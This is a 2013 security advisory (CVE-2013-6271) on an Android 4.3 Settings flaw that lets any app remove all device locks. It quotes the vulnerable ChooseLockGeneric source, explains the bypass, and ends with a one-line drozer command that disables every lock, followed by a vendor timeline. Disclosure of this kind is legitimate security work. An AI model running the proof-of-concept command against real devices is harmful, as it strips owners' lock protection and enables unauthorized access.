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Tuesday, December 3, 2013

CVE-2013-6271: Security Advisory – Curesec Research Team

1. Introduction

Advisory ID: Cure-2013-1011
Advisory URL: https://www.curesec.com/de/veroeffentlichungen/advisories.html
Affected Product: AndroidOS 4.3 / com.android.settings
Affected System: Android
Fixed in: N/A
Fixed Version Link: N/A
Vendor Contact: security@android.com
Vulnerability Type: Permission Bypass / Design Error
Remote Exploitable: No
Reported to Vendor: 11.10.2013
Disclosed to Public: 27.11.2013
Release mode: Coordinated release
CVE: CVE-2013-6271
Credentials: crt@curesec.com
2. Vulnerability Description

The vulnerability described here enables any rouge app at any time to remove all existing device locks activated by a user. Curesec disclosed this vulnerability as Google Android Security Team was not responding any more about this issue.
The bug exists on the “com.android.settings.ChooseLockGeneric class”. This class is used to allow the user to modify the type of lock mechanism the device should have. Android implements several locks, like pin, password, gesture and even face recognition to lock and unlock a device. Before a user can change these settings, the device asks the user for confirmation of the previous lock (e.x. If a user wants to change the pin or remove it it has to first enter the previous pin).
Lets examine the following code extracted from the class:
            // Defaults to needing to confirm credentials
            final boolean confirmCredentials = getActivity().getIntent()
                .getBooleanExtra(CONFIRM_CREDENTIALS, true);
            mPasswordConfirmed = !confirmCredentials;

            if (savedInstanceState != null) {
                mPasswordConfirmed = savedInstanceState.getBoolean(PASSWORD_CONFIRMED);
                mWaitingForConfirmation = savedInstanceState.getBoolean(WAITING_FOR_CONFIRMATION);
                mFinishPending = savedInstanceState.getBoolean(FINISH_PENDING);
            }

            if (mPasswordConfirmed) {
                updatePreferencesOrFinish();
                     }
…...
  private void updatePreferencesOrFinish() {
            Intent intent = getActivity().getIntent();
            int quality = intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1);
            if (quality == -1) {
                // If caller didn't specify password quality, show UI and allow the user to choose.
                quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1);
                MutableBoolean allowBiometric = new MutableBoolean(false);
                quality = upgradeQuality(quality, allowBiometric);
                final PreferenceScreen prefScreen = getPreferenceScreen();
                if (prefScreen != null) {
                    prefScreen.removeAll();
                }
                addPreferencesFromResource(R.xml.security_settings_picker);
                disableUnusablePreferences(quality, allowBiometric);
            } else {
                updateUnlockMethodAndFinish(quality, false);
            }
        }

…...
 void updateUnlockMethodAndFinish(int quality, boolean disabled) {
            // Sanity check. We should never get here without confirming user's existing password.
            if (!mPasswordConfirmed) {
                throw new IllegalStateException("Tried to update password without confirming it");
            }

            final boolean isFallback = getActivity().getIntent()
                .getBooleanExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, false);

            quality = upgradeQuality(quality, null);

            if (quality >= DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) {
                int minLength = mDPM.getPasswordMinimumLength(null);
                if (minLength < MIN_PASSWORD_LENGTH) {
                    minLength = MIN_PASSWORD_LENGTH;
                }
                final int maxLength = mDPM.getPasswordMaximumLength(quality);
                Intent intent = new Intent().setClass(getActivity(), ChooseLockPassword.class);
                intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY, quality);
                intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY, minLength);
                intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY, maxLength);
                intent.putExtra(CONFIRM_CREDENTIALS, false);
                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) {
                Intent intent = new Intent(getActivity(), ChooseLockPattern.class);
                intent.putExtra("key_lock_method", "pattern");
                intent.putExtra(CONFIRM_CREDENTIALS, false);
                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            else if (quality == DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) {
                Intent intent = getBiometricSensorIntent();
                mFinishPending = true;
                startActivity(intent);
            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {
                mChooseLockSettingsHelper.utils().clearLock(false);
                mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);
                getActivity().setResult(Activity.RESULT_OK);
                finish();
            } else {
                finish();
            }
        }
This first piece of code allows the caller to actually control if the confirmation to change the lock mechanism is enable or not. We can control the flow to reach the updatePreferencesOrFinish() method and see that IF we provide a Password Type the flow continues to updateUnlockMethodAndFinish(). Above we can see that IF the password is of type PASSWORD_QUALITY_UNSPECIFIED the code that gets executed and effectively unblocks the device.
As a result any rouge app can at any time remove all existing locks.
3. Proof of Concept Codes For verification you can use drozer and test the following.

#Disable all phone locks
run app.activity.start --component com.android.settings com.android.settings.ChooseLockGeneric --extra boolean confirm_credentials false --extra integer "lockscreen.password_type" 0

5. Report Timeline
11.10.2013 Informed Vendor about Issue
12.10.2013 Mail from Vendor
18.10.2013 Mail to vendor, if any feedback exists, no response
11.11.2013 Mail to vendor, if any feedback exists, no response
19.11.2013 Mail to vendor, if any feedback exists, no response

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